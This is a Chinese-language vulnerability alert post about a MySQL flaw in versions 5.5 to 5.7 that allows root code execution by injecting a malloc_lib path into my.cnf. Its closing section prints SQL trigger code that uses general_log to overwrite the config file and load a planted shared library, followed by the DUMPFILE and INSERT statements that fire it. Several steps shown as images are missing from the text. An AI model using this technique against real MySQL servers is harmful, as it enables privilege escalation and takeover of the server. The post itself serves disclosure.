【重大漏洞预警】Mysql代码执行漏洞,可本地提权(含exp)

【重大漏洞预警】Mysql代码执行漏洞,可本地提权(含exp)

概要


Mysql  (5.7, 5.6, 和 5.5版本)的所有默认安装配置,包括最新的版本,攻击者可以远程和本地利用该漏洞。该漏洞需要认证访问MYSQL数据库(通过网络连接或者像phpMyAdmin的web接口),以及通过SQL注入利用。攻击者成功利用该漏洞可以以ROOT权限执行代码,完全控制服务器。

利用条件:首先你要有一个Mysql低权限用户,仅需有FIle权限(例如:虚拟主机通常会提供,因为需要导入导出文件),即可实现Root权限提升,进而控制服务器

漏洞影响


MySQL  <= 5.7.15       远程代码执行/ 提权 (0day)

5.6.33

5.5.52

Mysql分支的版本也受影响,包括:

MariaDB

PerconaDB

漏洞介绍


这个漏洞影响(5.7, 5.6, 和 5.5版本)的所有Mysql默认配置,包括最新的版本,攻击者可以远程和本地利用该漏洞。该漏洞需要认证访问MYSQL数据库(通过网络连接或者像phpMyAdmin的web接口),以及通过SQL注入利用。攻击者成功利用该漏洞可以以ROOT权限执行代码,完全控制服务器。

漏洞描述


先看下我本地的MYSQL版本信息
root@debian:~# lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 8.5 (jessie)
Release: 8.5
Codename: jessie
root@debian:~# dpkg -l | grep -i mysql-server
ii mysql-server 5.5.50-0+deb8u1
ii mysql-server-5.5 5.5.50-0+deb8u1
ii mysql-server-core-5.5 5.5.50-0+deb8u1
之后启动Mysql服务器
root@debian:~# service mysql start
查看mysql的进程信息
我们可以看到mysqld_safe的wrapper(封装)脚本是root权限执行的,而主要的mysqld进程确实mysql用户权限执行的。【重大漏洞预警】Mysql代码执行漏洞,可本地提权(含exp) 通过手册我们可以得知--malloc-lib=LIB 选项可以加载一个so文件,如果攻击者可以注入路径信息到配置文件,就可以在MYSQL服务重启的时候,执行任意代码。

从2003开始,默认通过SELECT * INFO OUTFILE '/var/lib/mysql/my.cnf'是不能覆写文件的,但是我们可以利用mysql logging(MySQL )功能绕过outfile/dumpfile重写文件的保护,攻击者需要 SELECT/FILE 权限 。
依赖于mysql的版本,相应的配置文件也不同
比如mysql5.5
我们看看该脚本【重大漏洞预警】Mysql代码执行漏洞,可本地提权(含exp)我们通过覆写/etc/my.cnf注入malloc_lib=路径选项,命令如下:【重大漏洞预警】Mysql代码执行漏洞,可本地提权(含exp)
注意:修改配置文件后,会导致mysql重启的时候失败。
注入后的my.cnf文件包含:
【重大漏洞预警】Mysql代码执行漏洞,可本地提权(含exp)
mysqld_safe也载入配置文件从mysql的data目录,(/var/lib/mysql/my.cnf),这个功能从mysql 5.7移除,不再加载,所以即使mysql用户没有权限修改/etc/my.cnf,也可以通过下面的文件来加载【重大漏洞预警】Mysql代码执行漏洞,可本地提权(含exp)
即使没有dba权限,也可以通过触发器来覆写文件
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
   ON `active_table` FOR EACH ROW
BEGIN
   DECLARE void varchar(550);
   set global general_log_file='/var/lib/mysql/my.cnf';
   set global general_log = on;
   select "
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
" INTO void;   
   set global general_log = off;
END;
SELECT '....trigger_code...' INTO DUMPFILE /var/lib/mysql/activedb/active_table.TRG'
触发器写入成功后,刷新的时候会载入,比如通过执行一个insert语句来刷新
INSERT INTO `active_table` VALUES('xyz');

发表评论

您必须登录才能发表评论!